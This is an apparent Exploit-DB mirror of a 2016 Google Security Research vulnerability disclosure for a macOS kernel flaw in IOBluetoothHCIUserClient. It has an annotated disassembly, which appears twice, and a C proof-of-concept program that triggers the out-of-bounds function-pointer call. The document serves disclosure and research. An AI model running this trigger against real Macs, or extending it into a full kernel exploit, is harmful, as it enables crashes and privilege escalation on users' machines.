Apple Mac OSX – ‘IOBluetoothHCIUserClient’ Arbitrary Kernel Code Execution

  • 作者: Google Security Research
    日期: 2016-01-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39372/
  • /*
    Source: https://code.google.com/p/google-security-research/issues/detail?id=569
    
    IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
    of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
    and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:
    
    __text:00000000000118EB mov esi, [rbx+70h]<-- rbx is structInput, size never checked so +0x70 can be OOB
    __text:00000000000118EE testesi, esi
    __text:00000000000118F0 mov r13d, 0E00002C7h
    __text:00000000000118F6 jsloc_11C5B <-- fail if negative
    __text:00000000000118FC lea rdx, _sRoutineCount
    __text:0000000000011903 cmp esi, [rdx]
    __text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines
    
    This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:
    
    __text:0000000000011995 movsxdrax, dword ptr [rbx+70h] <-- fetch OOB again
    __text:0000000000011999 mov rcx, rax
    __text:000000000001199C shl rcx, 4
    __text:00000000000119A0 lea rdx, _sRoutines
    __text:00000000000119A7 mov r14d, [rdx+rcx+8]
    __text:00000000000119AC cmp r14d, 7
    __text:00000000000119B0 mov r13d, 0E00002C2h
    __text:00000000000119B6 jaloc_11C5B<-- test that sRoutines[OOB].nParams is <= 7
    __text:00000000000119BC mov rcx, [rdx+rcx]
    __text:00000000000119C0 mov [rbp+var_40], rcx<-- save sRoutines[OOB].fptr into var_40
    
    the code then sets the required registers/stack entries for the number of parameters and calls var_40:
    
    __text:0000000000011B77 mov rdi, r15
    __text:0000000000011B7A call[rbp+var_40]
    
    Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
    and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.
    
    Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2
    
    Strongly recommended to use the gazalloc boot args as shown above to repro this!
    */
    
    // ianbeer
    // build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
    // boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300
    
    /*
    Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution
    
    IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
    of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
    and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:
    
    __text:00000000000118EB mov esi, [rbx+70h]<-- rbx is structInput, size never checked so +0x70 can be OOB
    __text:00000000000118EE testesi, esi
    __text:00000000000118F0 mov r13d, 0E00002C7h
    __text:00000000000118F6 jsloc_11C5B <-- fail if negative
    __text:00000000000118FC lea rdx, _sRoutineCount
    __text:0000000000011903 cmp esi, [rdx]
    __text:0000000000011905 jge loc_11C5B <-- fail if >= number of routines
    
    This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:
    
    __text:0000000000011995 movsxdrax, dword ptr [rbx+70h] <-- fetch OOB again
    __text:0000000000011999 mov rcx, rax
    __text:000000000001199C shl rcx, 4
    __text:00000000000119A0 lea rdx, _sRoutines
    __text:00000000000119A7 mov r14d, [rdx+rcx+8]
    __text:00000000000119AC cmp r14d, 7
    __text:00000000000119B0 mov r13d, 0E00002C2h
    __text:00000000000119B6 jaloc_11C5B<-- test that sRoutines[OOB].nParams is <= 7
    __text:00000000000119BC mov rcx, [rdx+rcx]
    __text:00000000000119C0 mov [rbp+var_40], rcx<-- save sRoutines[OOB].fptr into var_40
    
    the code then sets the required registers/stack entries for the number of parameters and calls var_40:
    
    __text:0000000000011B77 mov rdi, r15
    __text:0000000000011B7A call[rbp+var_40]
    
    Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
    and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.
    
    Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2
    
    Strongly recommended to use the gazalloc boot args as shown above to repro this!
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #include <IOKit/IOKitLib.h>
    
    int main(int argc, char** argv){
    kern_return_t err;
    
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
    
    if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
    }
    
    io_connect_t conn = MACH_PORT_NULL;
    err = IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
    }
    
    uint64_t inputScalar[16];
    uint64_t inputScalarCnt = 0;
    
    char inputStruct[4096];
    size_t inputStructCnt = 1;
    memset(inputStruct, 'A', inputStructCnt);
    
    uint64_t outputScalar[16];
    uint32_t outputScalarCnt = 0;
    
    char outputStruct[4096];
    size_t outputStructCnt = 0;
    
    err = IOConnectCallMethod(
    conn,
    21,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 
    
    return 0;
    }